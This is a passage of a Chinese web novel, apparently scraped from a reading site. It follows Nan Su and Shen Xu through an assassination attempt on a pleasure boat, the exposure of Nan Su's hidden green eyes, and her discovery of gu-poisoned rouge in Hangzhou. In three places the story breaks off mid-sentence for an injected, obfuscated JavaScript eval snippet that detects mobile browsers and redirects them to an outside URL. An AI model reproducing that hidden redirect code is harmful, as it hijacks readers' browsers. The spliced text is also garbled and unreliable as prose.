方才二人进了醉春楼,便被人引到此处。本来二人计划着见红雾一面,但此处人多眼杂,不宜轻易出手。南夙便想到用钱买通老鸨,换一个上船的机会。 就是需要沈序多花点钱了。 “哎?”南夙想着,撞了撞沈序的肩,问道:“你花了多少钱?” “不多。”沈序摇头。 “不多是多少?”南夙瞪大眼睛。 沈序没有回答,花了多少都不要紧,反正最后他都会让他们再吐出来的。 亥时已过,南夙靠近花坊,浅浅琵琶声自坊内传出。 她踏上花坊,伸手掀开帘子。 红雾坐得笔直,背对着他们,一手抱着琵琶,似是听见了两人上坊的动静,她缓缓开口,声音柔柔,“二位便是妈妈所说的客人了?” “听妈妈说二位想听我的琵琶,那便请入座吧。” 南夙往船内环顾了一圈,也没直奔主题,一上来便问红雾关于柳月之事,而是随意挑了一个位置坐下。沈序贴着她坐下。 红雾五指一拨,弦音如珠玉落盘,时而冰泉幽咽,时而碎冰击玉,让人不禁凝神。 花坊突然动了起来。南夙心头一紧,指尖不自觉抓紧了衣袍。她与沈序对视一眼,都没出声。 不知道这花坊要漂向何处。 人群声渐渐弱下去,渐渐地,便再也听不见半点人群的交谈声。 “红雾姑娘的琵琶声。”沈序转过视线,望着红雾的背影,神色危险,“确实人间少有。” “是吗?”红雾轻笑,“可惜了,两位宾客怕是只有这一次机会能听到了。”她的声音轻飘飘晃在坊内。 下一秒,南夙与沈序几乎是同时起身。 数支暗箭向两人飞来,两人侧身避过。几名黑衣人出现,提剑扑向两人。利刃出鞘,南夙与沈序举刀迎上去。 南夙足尖一点栏柱,借力旋身,手中长刃横扫,逼退两名黑衣人。 花坊不知何时停了下来,南夙与沈序被黑衣人拦在花坊回廊,红雾起身打算走下花坊,南夙立马注意到。 “沈序,她要逃。” 南夙正欲提步追去,忽有一黑衣人自梁上扑下,刀锋直指南夙后心。南夙旋身回避,却不可避免的望向湖面。一阵晕厥瞬间袭来,南夙闭目扶着栏柱想要清醒一些,又不得不躲避后背袭来的刀剑。 她闭着眼睛举刀格挡,却浑身无力。巨大的冲击力震响腕间银镯,叮铃响动间,南夙身形骤赘。 “南夙!”沈序举刀将身前黑衣人一一击毙,纵身跃入湖中。 冰冷的湖水吞没南夙的刹那,南夙咬破舌尖,血雾混着蛊虫脱离她的身体,踝间银铃在水中无声颤动。一枚琉璃蛊虫如离弦的利箭,飞向已经下了花坊,站在岸边的红雾。 “啊!!”红雾惨叫一声,瞳孔泛起诡异的青绿色,踉跄跪地。 15. 落水 眼见岸边红雾的身影缓缓倒下,南夙放任自己的身体坠下,刺骨的寒冷与冰冷瞬间将她包围。 沈序唤她的声音只来得及在耳边停留一秒,便被湖水掩盖。 寒意侵袭她的全身,如同千万根针,刺透袄裙,扎进她的皮肤,钻进骨髓。 水,又是水。 记忆里那个无助的身影此刻仿佛又再次出现,就在她的眼前,在这个冰冷的湖中,那只鬼手再次出现,攫住她的脚踝,将她拖向幽暗的渊底。 衣袍吸饱了冰水,像裹尸布般缠紧四肢,她拼命挥动手臂,却只搅起昏浊的涡流。指尖碰到碎冰,锋利的边缘割开皮肉,竟也觉不出疼。 寒意早已剜透了骨头。 “救……” 呼喊刚出口,湖水就灌进喉咙,水腥气混着冰碴在气管里翻搅,和七岁那年一模一样。 她脑中此刻只有一个想法。 ——要死了。 她痉挛着蜷起了身子,恍惚看见漆黑的水草如同长发般缠上来。 突然有雪亮的光劈开黑暗。 一柄长剑刺入水中,在她眼前炸开。紧接着是玄色大氅翻卷的暗影,像鹰隼俯冲,惊散缠绕她的魑魅。那人一把扣住她的后颈,力道很大。 “吐水。” 滚烫的呼吸喷在她的耳畔,她这才发现自己的牙齿正死死咬着他的手腕,血腥味在唇齿间漫开,隔着湿透的裘袄,沈序的心跳又急又重,震得她生疼。 沈序将她捞回了岸边。她瘫在他怀中剧烈呛咳,后背被沈序轻轻抚着。 “哥!” 身后韩砚与安雀匆匆赶来,望见两人的模样皆是一惊。两人连忙赶上来。 南夙缓过口气来,正欲抬头,却被沈序一把扣住了手腕,制止了她的动作。 “闭眼。”沈序语气强硬。 “什……” “闭眼。” 南夙还未来得及问他为何,又被他强硬地打断,她只好听从他的话闭上了眼睛。 下一秒,身子突然腾空,南夙被惊到,下意识抱上了沈序的脖子。 沈序将她打横抱起来。 原本着急冲过来的韩砚与安雀见状停了步子,站在原地不知作何动作。 沈序经过二人时开口,语气冰冷,“将人绑了,带回客栈,等我们回来。” “是。”安雀低头领命。 韩砚还没反应过来,沈序已经抱着南夙离开了。 湿透的衣物黏在身上,混着寒风刺激得南夙在沈序怀中发抖。沈序感受到她在怀中颤抖,自觉地加快了步伐。 南夙搂着他的脖子,靠在他的肩上。南夙全身湿透,沈序也没好到哪去。可南夙靠着他,却觉得他的体温很高,尤其是靠近他的心脏时,心脏鼓动,沈序的体温连同他心脏的频次在南夙耳边跳动,震得她心脏发颤。 沈序让她闭眼,虽然不知道是为什么,但她还是听话的始终闭着眼睛。 直到沈序抱着她进了一家客栈。 为了让南夙赶紧换掉湿衣服,沈序没抱她回三十六客栈,而是进了一家最近的客栈,要了两间房,抱着南夙上了楼进了房间。 沈序将南夙放在床边,南夙顺势坐下,还没来得及睁眼,又听沈序轻轻开口,语气很温柔。 “先别睁眼。” 沈序接过小二送上来的衣物,放在南夙旁边地床上。 “先将湿衣服换下来,我去让人送热水上来。”沈序低声嘱托着,指尖拂过南夙的眼角,南夙仍在发抖,“如果有别人来,不要睁开眼睛,除除非听到我的说睁眼,好吗?” 虽然不知道沈序为什么突然有这么奇怪的要求,但听他的语气并不是在逗弄自己,南夙便乖乖点了头,担心沈序不放心,她还说道:“你没让我睁眼之前我一定不会睁的,放心吧。” “嗯。” 沈序出门后带上了门,下楼让人备了热水,自己也去了房间将湿透的衣裳给缓了下来。 一炷香后,他估摸着南夙应当已经收拾完了,才起身走出门去,敲响了隔壁房间的门。 “咚咚——” 房门响起。南夙还在浴桶中泡着,听到声响,她知道是沈序来了,忙起身披上衣袍,自屏风后走出,冲门外喊了一声“进”。 沈序推门进入,一眼便见南夙仍滴着水的头发,青丝垂在身后,有几缕散在身前,水滴便顺着胸前滴落,滴答一声落在木地板上。 南夙抬眼,两人视线就这样相撞。沈序挪开眼睛,提步走向南夙,经过架子时抽出一块巾帕。 “怎么不把头发擦干,一会真着凉了。”他将巾帕搭上南夙的头。 南夙自然接过巾帕。轻揉起自己的发尾,解释道:“没来得及。” 她一边说一遍往床边走去。 待她在床边坐下,沈序轻唤了一声她的名字。 “南夙。” “嗯?”南夙仰头望他,“怎么了?” “你……”沈序斟酌着字词,不知道是否要直接告诉南夙她的瞳色发生了变化。他当然知道这不是因为别的什么原因,最大的可能是南夙的瞳色本来就是他今日所见到的琉璃绿,平日里所见的琥珀色则是她用来伪装的。一同在院中挖酒那日他便发现了异常,只是…… 只是那日南夙的表现,看上去应当是不想别人发现这件事。那日,他在南夙的眸子中见到那抹轻微泛起的琉璃绿时,只是刚开了口,便被南夙立马打断,他在南夙的眸子中看到了慌乱、害怕,还有转瞬即逝的一丝厌恶。 所以他猜测南夙也不愿自己发现这件事。只是没想到今日出了什么差错,南夙平日里的伪装出了错,将这双晶莹剔透、宝石般的琉璃瞳暴露在了他的眼前。 他思忖着要如何开口。 半晌,他还是觉得直接问南夙,至于愿不愿意回答,全凭南夙的意愿。 于是他开口道:“南夙,你的瞳色……” 话音未落,南夙已经反应过来,果然如沈序所想那般反应很大的侧开了原本仰着看着他的脑袋。 沈序没接着说下去。南夙果然如他所想,不愿被人看到她的瞳色,也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144238|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排斥与人谈论此事。 空气安静下来,好长一段时间都没有人说话。 南夙不愿说话,沈序也不逼她,只是在旁边默默地站着,观察着南夙的状态,等着她的反应。 “你都看到了吗?”好久,南夙终于开口,声音弱弱的,还有些颤抖。 “嗯。”沈序没有犹豫地回道。 听到沈序的回答,南夙搭在膝上的手指不自觉捏紧了那处的衣袍,仍不肯转头过来面对沈序,沈序也不逼她。他不知道这双琉璃绿的眸子对南夙意味着什么,也不知道南夙为何如此厌恶这双眸子,所以他不能随意出口安慰她。但是他觉得,南夙这双眸子很美。这双眸子恐怕天下无双,世间没有第二人能够拥有。 于是他轻声开口:“很美。” “真的吗?” 听到他这么说,南夙终于愿意转头看他一眼,却不是因为听到沈序的夸赞而开心。她红着眼眶看向沈序,与他对视,嘴唇翕张,缓缓吐出几个字,“倘若我说,这双眸子会带来厄运,你也会觉得它美吗?” “当然。”沈序没有任何犹豫地回答,他蹲下身,视线与南夙平行,“我说这双眸子美,是因为它的主人是你。” “不论是以前那双琥珀色的瞳孔,还是现在这双琉璃绿的眸子,都很美。但它们美的前提都是你。”他一字一句徐徐而来,像入春时刚解封的山泉水,哗啦哗啦流淌进南夙的心间。 “我不知道这双眸子后面藏着什么样的故事。但是,它一定不是一双会带来厄运的眼睛。你带着它来到中原,做了我的世子妃,为靖北侯府带来了生机,父亲母亲还有沈褚都特别喜欢你;你还为大理寺的案件做了极大的贡献,没有你,我们也不能抓到郑平,一路查到江南。方才,你落水前还制服了红雾,让我们这一程没有白走。” 他直直地盯着南夙的眼睛,“若是这双眼睛会带来厄运,这些事早就黄了,我们的调查也不会进展得如此顺利。” “对吗?” “是……是吗?”他一口气说了好多东西,南夙听懂了他的意思,却一下子没能反应过来。 她眼睛红着,突然落下泪来,有些难堪地捂住了脸,“可是它确实带来了厄运,如果不是它,阿姎就不会死。” 沈序愣了一瞬。他看过灵诏的历史,知道南夙口中的阿姎便是她的母亲,他也知道南夙的母亲早已逝世。南夙的意思是这双眼睛害死了她的母亲吗? 这听起来多少有些匪夷所思。 反正沈序是从来不相信这种说辞。 但眼前的人显然与他想法不同,南夙看上去对这件事深信不疑,还真的觉得是自己害死了自己的母亲。 “你想知道阿姎为何会离开吗?” 还没等他想好该怎样安慰南夙,南夙突然抬头问他,眼泪糊了满脸,双眼通红,就连鼻尖也红红的。 看到南夙如此伤心,沈序突然反省自己刚才是否不应该说那些话,他抿了抿唇,没直接说想或不想,而是将选择权交给南夙。 他说:“你愿意告诉我吗?” 16. 胭脂 那夜的最后,沈序终究还是没有听到南夙阿姎的故事。 因为听到他的那句话后,南夙哭得更厉害了。她的泪水像是被关押了许久,突然间解开了桎梏,便一发不可收拾起来。 沈序长这么大,自然是见过别人哭的。 面对敌人的眼泪时,他胸中只存愤怒,因为在战场,心软是大忌,是万万不能的;面对百姓的眼泪时,他心有悲悯,也尝试做些事弥补这世间不公,但势单力薄,他想以己之身对抗世俗,只能是蜉蝣撼树、螳臂当车。 可见了这么多人的眼泪,独独这一刻,他不知如何应对。 南夙来中原不过一月。根据沈序成亲前的调查与这些时日的相处来看,南夙从前的种种和待人处事的道理,都在告诉外人一件事——她是一个纯粹的乐观之人。 她待人有道,知书达理。还有寻常闺阁女子所没有的本事,这一身的功夫就是最好的证明。 沈序望着坐在床边痛哭的南夙,不知该如何开口安慰。他抬起手来,手停在半空中,犹豫半晌,他还是将手轻轻放在南夙的后脑勺处,动作轻柔地抚了抚。 他也不说话,就这么安静地蹲在南夙的跟前,直到南夙哭到力竭,往前一倒倒进了他的怀里。 许是落了水的缘故,南夙哭久了便开始头晕,眼前沈序的身影开始在眼前晃荡。然后,南夙满眼泪花地看着沈序开始分裂,从一个,变成两个,再分裂成三个,最后,无数个沈序在眼前晃悠。 南夙晃了晃脑袋,想清醒一下。却不料这一晃竟直接晕了过去,倒进了沈序的怀里。 沈序望着怀里的人,叹了口气,将南夙抱上床,为她盖好被子却没立刻离开。他站立在床前,俯头看着南夙。 她刚哭完,一双眼睛虽已合上,却仍肉眼可见的红,长长的睫毛被泪水打湿,湿漉漉的耷拉着。一看便知是哭了很久。 沈序收回视线,转身出了门。 “咔嗒——” 片刻后,房门再次被推开。只见方才离开的沈序又走了进来,只是手中多了盆冷水。他走至床边,将帕子浸湿后拧干,轻轻附在南夙的眼睛上,如此反复几次后,他才停下手中动作。出了屋子。 南夙一觉醒来已是上午,她揉了揉眼睛,昨夜哭了这么久,她料想眼睛今日定会红肿,没想到除了有些干涩,其它并未有不适。 她往窗外看了眼,约莫是辰时末了。 “叩叩” 房门此时被敲响。 南夙应了声“进”,又转头看向门边,却见走进来的是安雀。 “小姐!”安雀刚进门,便与南夙那琉璃绿的眼眸对上,她惊乎道。连忙提裙跑到南夙身前,“小姐的瞳色何时褪了回来?可让人看见了?” 语气中担忧甚极。 偏生这时候南夙还没否认,朝她点了点头。 安雀顿觉天崩地裂。她倒是不赞成南夙所说的这双琉璃绿眸子是厄运的说辞。问题在于,南夙的这双琉璃瞳天下仅有,从古至今也就出了这么一双。若是被别人瞧见。不论是街巷谈论也好,皇室闲聊也罢。只要是进了天下人口中,那便会无端生出些祸端。 有了大多数人所没有的东西,只会发生两个情况,一是被世人称作神,万代歌颂供奉;二是作为异类,被剔除出人类族群。 南夙不想成神,也不觉得自己会被供奉成神。她这双眼睛,自出生起就被阿姎用各种巫术蛊术所掩盖,除少数几位身边人和诏父阿维外几乎无人知晓。她也习惯了将它隐藏起来。 及至阿姎离开,诏父将一本古籍翻给她看,告诉她是她害死了阿姎,她的这双眼睛会带来厄运——不,诏父说她是厄运本身。 然后一纸命令将她送往乡下。 从此,南夙再也不愿见到这双眼眸。 安雀思量片刻,打定注意:“小姐,昨夜在船上的所有人我们都已经带了回来,不如趁现在,属下将他们……” 她话音未落,便被南夙打断:“那你想将沈序一同杀了?” “什么?” 南夙伸手将安雀牵到自己身边来,缓缓启唇:“你不要太过担心。昨夜只有沈序见过我的眼睛。我落水后沈序将我捞上岸的第一件事便是叫我闭眼。虽然我并未告诉过他我的眼睛做过伪装,但他反应很快。回来后也很尊重我,没有打破砂锅问到底,也没有质问我,我很感谢他。” 如果没有沈序,昨夜光是落水这一件事她便无法逃脱。她对安雀说这些话,就是默认了将沈序纳入到自己人当中。既然是自己人,也总不好什么都藏着掖着。 安雀却不同意,她从小与南夙一同长大,南夙所经历的事情她都知道。她是陪着南夙一步步吃够了苦头过来的,她最知道这双眼睛给小姐带来的痛楚,背后背着的是弑母二字。 “好了,先来为我梳妆,再帮我给眼睛上药。”安雀正欲开口,却被南夙捷足先登。 南夙的态度全然在说,这事就这样过去吧。 安雀便住了口,转念一想昨夜世子爷还救了小姐一命,也不好过多追究。 待一切完成后,南夙问道:“沈序他们呢?” 安雀:“世子爷与四皇子先一步回了三十六客栈同江司直与叶司直汇合。” “昨夜抓的那些人呢?红雾呢?” “世子爷让人将他们关在了城西的一座茅草屋里,现下正派人盯着呢。” 南夙点点头,又想到,他们一行六人一同下江南,除了他们几个,沈序从哪找来的人去看守。 “他哪里来的人?” 安雀回道:“世子爷说,我们来时身后还跟着一行暗卫呢,只是没叫我们发现。” 原来是这样。沈序还真是深谋远虑。 “那咱们也去找他们汇合去吧。”南夙一撩裙摆,站起身说。 安雀还有些不放心她,又问:“小姐昨夜落了水,现下可有哪里不适?” 不适? 南夙低头摇摇晃晃地瞅了瞅自己的身体,一抬头,语气轻松地说道:“没有不适,这一次落水让我觉得深水也没有那么可怕。” 为免安雀还是担心,南夙又补充道:“心里也没有难受。” “好了,咱们快出发吧,别耽误了后续的行动。” 南夙正欲提步往外走,余光中却有一抹冰冷的弧光掠过,她好奇回头去看,发现昨日沈序给她防身用的长刃此刻正躺在她昨夜睡的床头。 沈序昨夜将它留给了她。 南夙心下一暖,俯身拿起那把长刃,先一步蹦跶出了房间。 今日的杭州城如昨日那般安静,街边几家铺子开着,却并没有什么人光顾,平白给这冬日的杭州又添了几分萧瑟。 南夙一路观察着城中的景色。 前方的檐下突斜飞出几只乌鸦,带起阵阵风嚣。那阵从屋瓦深处卷起的、微凉的气流里,驮着一股女子柔软、甜腻殷勤的香。 南夙驻足,抬眼望向这间铺子——暗香幡。 身后安雀紧随着她的脚步,见她突然停了步子,也跟着停下,朝她看的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144239|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看去,便望见一家胭脂铺。 “小姐,怎么了?” 南夙却不回答,只是提步往铺子里走去,“进去看看。” 胭脂铺外挂着醒目的匾额,铺子内却是普通了些。一进铺子,那股香便更加急切地窜进南夙的鼻子,接着便有一个身着紫色衣裙的束发女子迎上前来。 南夙揉了揉鼻子,走到陈柜前听着那位姑娘给她介绍柜子中的胭脂。 “姑娘长得真是好生标志。”那姑娘介绍着胭脂,忽然转了话题,“敢问姑娘是哪里人?我瞧着姑娘倒是眼生。” 南夙却敏锐地读出了她中的试探。 她没有回答那姑娘的问题,反问道:“杭州城周回三十六里九十步,户十万。这胭脂铺置于城西,与城东相距甚远,我或许来自城东呢,姑娘何来眼生一说。难道说姑娘做生意还需记人?那我倒是不懂这其中的生意之道了。” 那姑娘听了南夙的话,先是捂嘴一下,随即解释道:“姑娘有所不知,要说这胭脂,我们胭脂铺在杭州城可谓是无人可比拟,这城中的女子,没有一人不爱我们铺子的胭脂。就是那不常出街的闺阁小姐们,平日里得了闲出了街,那头一件事,也是来我们铺子先买上些胭脂的。这么说吧,这杭州城内,凡是能买得起胭脂的小姐们,那都是被我认熟了的。就连那醉春楼的姐姐妹妹们我也叫得上名字呢。” “是嘛?”南夙朝她微微一笑,“那倒是我眼拙了。” 见人如此坦诚,她也没藏着掖着,只见她忽地转向安雀,自她怀中掏出张帕子,捏起一角擦去眼角那不存在的泪,缓缓说出自己的来历:“我们是南边来的,去岁家兄进京行商,怎料这一去几月再无来信,家中人甚是担忧。可家中父母已年迈,路途遥远,恐二老受不起这一路颠簸。我和妹妹便替家中人去京城寻他。” 至于说的是人话还是鬼话,那就是另一回事了。 “既是去京城,姑娘二人怎绕到杭州城来了?”她这时带上安雀一同问道。 “我们是来寻舅舅的。天有不测风云,母亲恐我二人路上有意外,正巧舅舅在这刺史府中任职,便叫我们前来寻他,叫他派上几个人随我们一同前往,如此也是得了一些安心。这不,我们才从城西入了城,正要往那边去呢。没成想,被姑娘这胭脂迷了眼。” “竟是如此……” 那姑娘听完,竟是瞬间抹去了眸中的试探与猜忌。只见她缓缓走向柜子后,从那柜子中拿出了两盒胭脂递给南夙。 “既是如此,这两盒胭脂便赠予姑娘吧。” 南夙望着眼前这两盒从旁的柜子里拿出的胭脂,一时没有接,状似犹豫。 而那姑娘却像是读懂了她的犹豫一般,她说道:“姑娘不必介怀,这两盒胭脂是我自己所制,与这……与这陈柜中的胭脂制法用料都相同。只是……不算东家的而已。姑娘若是不嫌弃,便收下吧,也算是我的一份心意。祝你早日找到兄长。” 话已至此,南夙再拒绝倒显得扭捏了。于是她接过胭脂,轻声道了谢。 谢必,她带着安雀往屋外走。走到门口时却又突然停了脚步。 她转头,问那姑娘的名字。 “画骨。”女子温和的声音伴着胭脂的香飘到南夙身边,她听到女子轻轻地呢喃,她说:“我叫画骨。” 南夙冲她一笑:“画骨姐姐,回见。” 然后,她迈步出了铺子。对面楼的彩旗飞舞,像许多姑娘妖娆的身姿,她轻念着对面楼上匾额的字。 “醉春楼。” 17. 第17章 “小姐,我们不去三十六客栈了吗?” 出了门,南夙并未按照她们先前所说去三十六客栈,反而转了个弯,往反方向而去。 南夙将两盒胭脂递给她,让她揣上,又突然从袖口中掏出两盒外观与递给安雀的那两盒几乎一致的胭脂,拿在手中把玩。 安雀见她手中突然多出来的胭脂,倒没震惊,从小姐在暗香幡门前突然停步,转头向那画骨女子道别时她便看出来小姐定是有所打算。 南夙将其中一盒胭脂打开,放到鼻前嗅了下。很正常的胭脂的香味,除此之外并未有其它不对。 她将胭脂盒盖上,才回了安雀方才的问题,“有些新发现,先看看去。” “小姐是觉得这胭脂铺有问题?”安雀问道。 南夙却不答,而是反问道:“你有什么想法?” 安雀显然也看见了暗香幡对面的醉春楼,思量一会,她道:“属下只知道这莫名出现的战蛊恐怕与这醉香楼有关,而这暗香幡又恰好在这醉香楼的对面。” 说到这,她茅塞顿开:“小姐是说……” 但随即她又疑惑问道:“可若是这帮人在胭脂里下蛊的话,方才小姐靠近时怎会毫无反应?” 南夙咬着食指,脑中回想着她曾看过的一本灵诏古籍,“安雀,你还记得《隐灵秘诏》吗?” “记得。”安雀点头,“我与小姐从小便一起看灵诏古籍,自然记得,这一本专门记录灵诏上万种苗蛊。” “嗯,那你还记得一味名为蜃尘的蛊吗?” 安雀在脑中翻阅着《隐灵秘诏》的内容,终于想起来,一字一句缓慢将书中对蜃尘蛊的介绍,“书上说:蜃尘蛊,以活气怨煞炼成,无形如尘,触肤即入……但此蛊阴损至极,乃为禁术。” 说道此处,安雀突然反应过来南夙让她回忆古籍内容的意图,“小姐是说,他们将蜃尘蛊掺在胭脂里,卖给姑娘们,趁机下蛊吗?” 南夙向她颔首,“对,不过这只是我的猜测,要想验明此事真假,我们还需要问些事。” “怪不得小姐靠近这些胭脂时毫无反应,蜃尘蛊在人体外状如死物,没有生命气息,只有在接触皮肤时会瞬间活过来,溜进人体内。” 安雀已经被她的猜测给震惊,如果这是真的,那岂不是整个杭州城六七成的女子都被下了蛊。来到杭州城两天,他们的确发现城内人口数量不对,街道上人太少了,仿佛临时搭起的戏班子,道上的行人与两边的铺子都只是搭伙唱戏的,没有半点生活气息。 可是安雀还发现一个问题,这胭脂通常只有女子喜爱,但这城中,却连男子也十分少见。 她这么想着,也这么问了。 南夙道:“只怕没有我们想的这么简单。入京前我与沈序曾去过一次云寂寺,发现了一份贪饷的账册,其中就有江南水患的一份。我怀疑,杭州城那么多人同时消失,恐怕不只是苗蛊的原因,水患才是其症结所在。毕竟蜃尘蛊一旦入体便确认了饲主,与饲主同命,饲主一死,蛊也必死。如此,就算是死,也只有被下蛊之人会死,可杭州城那么多人,不可能因为一个蜃尘蛊就造成如此大的伤亡。” 说到这里,南夙忽地想起昨夜她与沈序去醉春楼时,那时的醉春楼中人群熙攘,哪里有半分城中的萧条。更让她不解的是,昨夜在醉春楼,她分明没有感受到任何蛊虫的存在。 若说女子爱美,这醉春楼的女子当占首位。暗香幡是胭脂铺,据画骨姑娘所说在这杭州城更是风靡一时,又恰好在醉春楼对面。难道姑娘们不会来买这胭脂? 这恐怕无法说通。 那就只有一种可能。 南夙脸色一变,拉着安雀往三十六客栈走去,步履匆匆。 “小姐,怎么了?”安雀没能跟上她的想法,步子却已经转了弯,跟着南夙往回走。 南夙一边走一边将刚刚想的事告诉她,又说:“恐怕我们早就被盯上了。城中的一切都是故意演给我们看的,虽然不知道我们是如何暴露的,但城中不宜久留,先找他们汇合再说。” 就是不知道那些人是何时盯上她们的。 想通这件事后,南夙再看城中的各景象就越发觉得怪异,比如猪肉摊前站着位买猪肉的男人,摊老板手中握着屠刀,两人正在那讨价还价。 再说巷子后的人家,两位年过花甲的老妇正在对骂,东家说你家今早的污水又流到了我家门前,西家骂昨夜你家狗吠吵得鸡犬不宁。 这一幕幕都在试图告诉她,这杭州城尚有市井气息。表面上看,这些景象确实是寻常人家之景,但她还是敏锐的发现,方才路过那两位老妇吵架时,有一位几乎在眨眼之间偷乜了自己一眼。只是很短暂的一眼,但她却在她的眼神中读出了那一闪而过的恐惧。猪肉摊前老板与客人讨价还价似乎也没有什么问题。但南夙却发现,那屠户拿刀的姿势不对。 三十六客栈不远处的包子铺依然热气朝天,昨日见到的那乞丐居然也没有挪地方,居然还在原地。这些乞丐不是走街制吗?在一处要不到钱便换下一处去要。 南夙走到乞丐的跟前,从怀中掏出几个铜板扔进他的碗中。南夙这时候才发现这个乞丐似乎心智不明。铜板扔进碗中,在碗中旋转了几圈,才缓缓倒下。而那乞丐,似乎对这件事全然无觉,从始至终保持着跪坐的姿势,低着头,看不清神色。 她总觉得不对劲,走近了一些。她想伸手去戳碰一下乞丐,但伸到一半,却突然停下了手,没再往前动作。半晌,她终于还是将手轻轻搭在了乞丐的肩上。但她动作很轻,乞丐没什么动静。 原来不是心智不明,而是没了呼吸。 “唉。”南夙收回手,没再说话,只是叫上安雀,两人先后进了三十六客栈。 上了楼,却没发现沈序他们的身影。 南夙回了自己的房间,她昨夜不在此睡,桌上却有一杯喝了一半的茶,茶汤已然凉透了。但南夙几乎第一时间就理解了沈序的意图,她拿起那杯没喝完的茶,给安雀使了个眼色。 安雀立马接话:“今日天凉,昨日小姐还落了水,我还是将窗户关上吧,免得小姐着了凉。”一边说着一边走到窗边将窗户关上。 南夙就在她关上窗的瞬间将手中那杯茶往桌上一泼,一行字赫然现在桌面上: 城中有人监视,见信城外三十里茅屋见。 只容得南夙将字都看完,那字便淡了下去,转眼便彻底消失在桌上,只余茶痕。 原来沈序也发现了城中的不对劲。 南夙看完,没有立马说出城,而是平静地坐下,为自己斟了杯茶。安雀关好窗后便来到她的身边,南夙为她也倒了一杯。 安雀一看南夙的表情便知道,这是又要演戏了。 她立马进入状态备战。 南夙瞧见她正襟危坐地模样没忍住低头轻笑了一下,旋即正了正色,轻叹一声,说道:“安雀,咱们今夜便出城去吧。” 她一边说一边从怀里掏出在暗香幡顺的那两盒胭脂,又朝安雀伸出手。 安雀立刻明白她的意思,将另外两盒胭脂也拿出来递给南夙。嘴里却说着不相干的话,只听她语带疑问,“为何?咱们不是奉命来查杭州水患一事的吗?” 南夙接过胭脂,慢条斯理地将四盒胭脂打开一一放在桌上。嘴里还在回答安雀的话。 “今日这城中的模样你也瞧见了。我见这杭州已慢慢修整起来了,外面的铺子也开起来了,市井人家也都有生存之道。昨夜我与沈少卿去醉春楼查过一番,那楼中琵琶阵阵,觥筹交错,料想这城中也已缓过水患的劫难了,可见水患一事并无大恙。” 南夙先是拿起最左边的一盒胭脂,无名指轻轻在表层抹起一层脂膏,手指轻搓了几下,并未有什么反应。 安雀在一旁看着,她也很想动手看看这些胭脂里面是否真的和她们想的一样掺着蜃尘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144240|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛊,但她不知这蜃尘蛊的厉害程度,没有像小姐体内能压制其他蛊虫的圣蛊,安雀不敢轻举妄动。 她全神贯注地盯着南夙手中的动作,启唇说道:“是,小姐。那奴婢现在就去收拾行囊,咱们晚上就走。”安雀应道,又问“对了小姐,沈少卿他们呢?怎么没见到人?” 此时南夙已经放下了第二盒胭脂,正不慌不忙地去拿第三盒。只见食指轻触到胭脂膏表层的同时,一阵颤动的虫鸣自脚踝传来,铜铃十九蛊开始躁动。但只片刻便停歇下来。南夙再看手中,多了一只堪堪能用肉眼所见到的蛊虫。 接触到她皮肤的那一秒,蜃尘蛊便立即往她体内钻。可惜它今日遇到的是南夙,不消片刻,那蜃尘蛊便被南夙体内的圣蛊给压制下来。 二人同时抬头,视线在空中相撞。两人都明白了对方所想,对话却还在继续。 “他同我留了信,说先一步出城去了,不用担心。” “是,小姐。” 最后一盒也不用试了,其中必然掺着蜃尘蛊。果然如她们所想那般,那自称为画骨的女子赠予她的那两盒胭脂中并未掺有蜃尘蛊,反而南夙在柜中顺的那两盒中被掺了。 既然胭脂就是下蛊的方式,为何今日画骨姑娘会额外拿其它的胭脂给她,而不是柜台上的呢? 难不成真是被南夙在店中的那番话所打动了? 南夙可不信。 申时六刻,三十六客栈中先后出来两个人,其中一人背着包袱,二人一同朝城外走去。 客栈旁的包子铺已经收了摊子,白日里见的那乞丐也已不在原地,不知道去了何处。 紧挨着包子铺的一个屋子旁,泥泞的脚印踩在青石板的薄雪上,衣摆扫过薄雪,却留下了片片脏污。一个脑袋谨慎的从那屋旁伸出,直直地盯着前方背着行囊的二人,直到那二人出了城,那枚脑袋才缩了回去。 随即,巷口处的风雪被碾过,只留下一个匆匆背影。 但却没人发现,黑夜里,躲在房子后的那人后脖颈上赫然出现了一滴殷红的红印,那红印在黑暗中越发明亮,正当人想着那红印会不会越来越亮时,红印却突然在脖颈间消失,不见踪迹。 而此时,南夙与安雀正刚好走出这座表层繁花似锦,内里却早已满目疮痍的杭州城。 出了城,那道时有时无的视线便立刻消失了。 南夙没有立刻去往沈序说的那处,而是领着安雀走到城门东边的一处小坡上,那里躺着一个人,看不清样貌,根据身量,可知是个男人。 走近后才看清,竟是白日那不知去了何处的乞丐,他是如何到城外来的? 